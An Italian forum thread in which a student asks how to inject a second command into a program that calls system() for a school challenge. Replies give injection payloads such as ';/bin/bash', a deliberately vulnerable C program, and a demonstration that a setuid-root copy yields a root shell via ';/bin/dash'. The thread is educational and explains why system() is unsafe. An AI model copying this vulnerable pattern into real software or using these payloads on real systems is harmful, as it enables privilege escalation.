[Risolto] Utilizzare var d'ambiente all'interno di comandi.
[Risolto] Utilizzare var d'ambiente all'interno di comandi.
Ciao a tutti,
sto cercando di risolvere un esercizio per la scuola, l'obbiettivo è eseguire 2 comandi da shell di cui uno è all'interno di una variabile d'ambiente.
quello che ho pensato è fare:
export AAA="; sh"
la variabile c'è ed è visibile con $AAA ma quando la lego a qualcos'altro per esempio:
ls$AAA mi da errore:
ls: impossibile accedere a ;: File o directory non esistente
ls: impossibile accedere a sh: File o directory non esistente
grazie a tutti per l'attenzione
sto cercando di risolvere un esercizio per la scuola, l'obbiettivo è eseguire 2 comandi da shell di cui uno è all'interno di una variabile d'ambiente.
quello che ho pensato è fare:
export AAA="; sh"
la variabile c'è ed è visibile con $AAA ma quando la lego a qualcos'altro per esempio:
ls$AAA mi da errore:
ls: impossibile accedere a ;: File o directory non esistente
ls: impossibile accedere a sh: File o directory non esistente
grazie a tutti per l'attenzione
Ultima modifica di serf88 il domenica 13 maggio 2012, 11:11, modificato 1 volta in totale.
- Laycastle
- Entusiasta Emergente
- Messaggi: 1183
- Iscrizione: sabato 9 aprile 2011, 21:54
- Desktop: KDE 4.8
- Distribuzione: Gentoo ~amd64
- Località: Torino
Re: Utilizzare variabili d'ambiente all'interno di comandi.
Non so se ho capito. Intendi
?
Codice: Seleziona tutto
laycastle $ a=";echo 2"
laycastle $ eval echo 1$a
1
2
la via più breve tra due punti è l'arabesco.
Re: Utilizzare variabili d'ambiente all'interno di comandi.
si esatto il principio è questo. Non c'è un modo per evitare eval? non posso agire prima del primo comando..
- Laycastle
- Entusiasta Emergente
- Messaggi: 1183
- Iscrizione: sabato 9 aprile 2011, 21:54
- Desktop: KDE 4.8
- Distribuzione: Gentoo ~amd64
- Località: Torino
Re: Utilizzare variabili d'ambiente all'interno di comandi.
Hum... vorresti essere un po' più esplicito per quanto riguarda la consegna?
Immagino che
non vada bene, giusto?
Immagino che
Codice: Seleziona tutto
laycastle ~ $ a="echo 2"
laycastle ~ $ echo 1;$a
1
2
la via più breve tra due punti è l'arabesco.
Re: Utilizzare variabili d'ambiente all'interno di comandi.
si esatto cosi' non va bene.
Non esiste una vera e propria consegna, ho un programma che non posso modificare che esegue un comando con system(). Io posso solo inserire in input gli argomenti (filtrati da tutti i caretteri speciali tranne $) di questo primo comando. Il prof ci ha sfidato a far eseguire qualcos'altro programma. Non so se sono stato chiaro..
Non esiste una vera e propria consegna, ho un programma che non posso modificare che esegue un comando con system(). Io posso solo inserire in input gli argomenti (filtrati da tutti i caretteri speciali tranne $) di questo primo comando. Il prof ci ha sfidato a far eseguire qualcos'altro programma. Non so se sono stato chiaro..
- Laycastle
- Entusiasta Emergente
- Messaggi: 1183
- Iscrizione: sabato 9 aprile 2011, 21:54
- Desktop: KDE 4.8
- Distribuzione: Gentoo ~amd64
- Località: Torino
Re: Utilizzare variabili d'ambiente all'interno di comandi.
Ah, ho capito. In pratica devi trovare il modo di far eseguire codice arbitrario a quel programma in C.
Potresti provare qualcosa come
Potresti provare qualcosa come
Codice: Seleziona tutto
laycastle $ export a="bash"
laycastle $ su -c 'ls $($a)'
Password:
bash: no job control in this shell
root #
root # exit
exit
ls: impossibile accedere a : File o directory non esistente
laycastle $
la via più breve tra due punti è l'arabesco.
- giulux
- Amministratore
- Messaggi: 25426
- Iscrizione: domenica 10 gennaio 2010, 12:17
- Desktop: ubuntu 18.04
- Distribuzione: Ubuntu 18.04.3 LTS x86_64
- Sesso: Maschile
- Località: Roma
Re: Utilizzare variabili d'ambiente all'interno di comandi.
sposto in programmazione
"Non è una segno di buona salute l'essere ben adattato ad una società malata". (Jiddu Krishnarmurti)
- crap0101
- Rampante Reduce
- Messaggi: 8242
- Iscrizione: martedì 30 ottobre 2007, 6:33
- Desktop: LXDE
- Distribuzione: Ubuntu 18.04.1 LTS
- Sesso: Maschile
- Località: TO
- Contatti:
Re: Utilizzare variabili d'ambiente all'interno di comandi.
bisognerebbe vedere che tipo di controlli fa il programma sugli argomenti che gli passi, perchè per "fregare" system() non ci vuole molto
Inoltre, il filtrare o meno il carattere $ è ininfluente dal momento che la $variabile viene espansa dalla shell prima di essere passata al programma.
Codice: Seleziona tutto
crap0101@crap0101-M:~$ cat /tmp/insecure.c
#include <stdio.h>
#include <stdlib.h>
int
main (int argc, char **argv)
{
char args[100];
sprintf(args, "%s", "ls");
int p=2;
while (*++argv)
p += sprintf(&args[p], " %s ", *argv);
puts(args);
system(args);
return 0;
}
crap0101@crap0101-M:~$ /tmp/insecure '--version;echo CIAO!'
ls --version;echo CIAO!
ls (GNU coreutils) 8.5
Copyright © 2010 Free Software Foundation, Inc.
Licenza GPLv3+: GNU GPL versione 3 o successive <http://gnu.org/licenses/gpl.html>
Questo è software libero: è possibile modificarlo e ridistribuirlo.
Non c'è ALCUNA GARANZIA, nei limiti permessi dalla legge.
Scritto da Richard M. Stallman e David MacKenzie.
CIAO!
crap0101@crap0101-M:~$
http://www.gnu.org/ http://boinc.berkeley.edu/ http://www.python-it.org/
- Ricorda le ultime parole di suo padre: «Sta' alla larga dalle chiese, figlio. La sola cosa per cui hanno la chiave è il merdaio. E giurami che non porterai mai un distintivo della legge» - W.S. Burroughs
- Ricorda le ultime parole di suo padre: «Sta' alla larga dalle chiese, figlio. La sola cosa per cui hanno la chiave è il merdaio. E giurami che non porterai mai un distintivo della legge» - W.S. Burroughs
Re: Utilizzare variabili d'ambiente all'interno di comandi.
grazie mille crap0101 e Laycastle siete stati gentilissimi!
buona giornata
buona giornata
Re: [Risolto] Utilizzare var d'ambiente all'interno di coman
Già che ci sono vorrei chiedervi una domanda un po teorica.
Se un programma è impostato come posseduto da root e ha il flag setuid impostato. Se esego il programma di crap0101:
./ins ";/bin/bash"
dovrei ottenere una shell di root secondo me. Questo però non accade in pratica come mai? dove sbaglio?
Se un programma è impostato come posseduto da root e ha il flag setuid impostato. Se esego il programma di crap0101:
./ins ";/bin/bash"
dovrei ottenere una shell di root secondo me. Questo però non accade in pratica come mai? dove sbaglio?
- crap0101
- Rampante Reduce
- Messaggi: 8242
- Iscrizione: martedì 30 ottobre 2007, 6:33
- Desktop: LXDE
- Distribuzione: Ubuntu 18.04.1 LTS
- Sesso: Maschile
- Località: TO
- Contatti:
Re: [Risolto] Utilizzare var d'ambiente all'interno di coman
dipende... system() oltre a non essere molto sicura di per sè, è da evitare ancor di più in programmi che hanno impostato il setuid o il setgid perchè potrebbe fare un pò di 'confusione' con le variabili d'ambiente e comportarsi in modo inaspettato (anche nel caso non ci sia malignità).
Altro discorso è bash che non considera questi privilegi... un confronto:
Altro discorso è bash che non considera questi privilegi... un confronto:
crap0101@crap0101-M:~$ ls -l /tmp/insecure_r
-rwsrws--- 1 root crap0101 8807 2012-05-14 22:40 /tmp/insecure_r
crap0101@crap0101-M:~$ /tmp/insecure_r ';/bin/bash'
ls ;/bin/bash
[CUT]
bash-4.2$ whoami
crap0101
bash-4.2$ exit
crap0101@crap0101-M:~$ /tmp/insecure_r ';/bin/dash'
ls ;/bin/dash
[cut]
# whoami
root
#
crap0101@crap0101-M:~$
http://www.gnu.org/ http://boinc.berkeley.edu/ http://www.python-it.org/
- Ricorda le ultime parole di suo padre: «Sta' alla larga dalle chiese, figlio. La sola cosa per cui hanno la chiave è il merdaio. E giurami che non porterai mai un distintivo della legge» - W.S. Burroughs
- Ricorda le ultime parole di suo padre: «Sta' alla larga dalle chiese, figlio. La sola cosa per cui hanno la chiave è il merdaio. E giurami che non porterai mai un distintivo della legge» - W.S. Burroughs
Chi c’è in linea
Visualizzano questa sezione: 0 utenti iscritti e 12 ospiti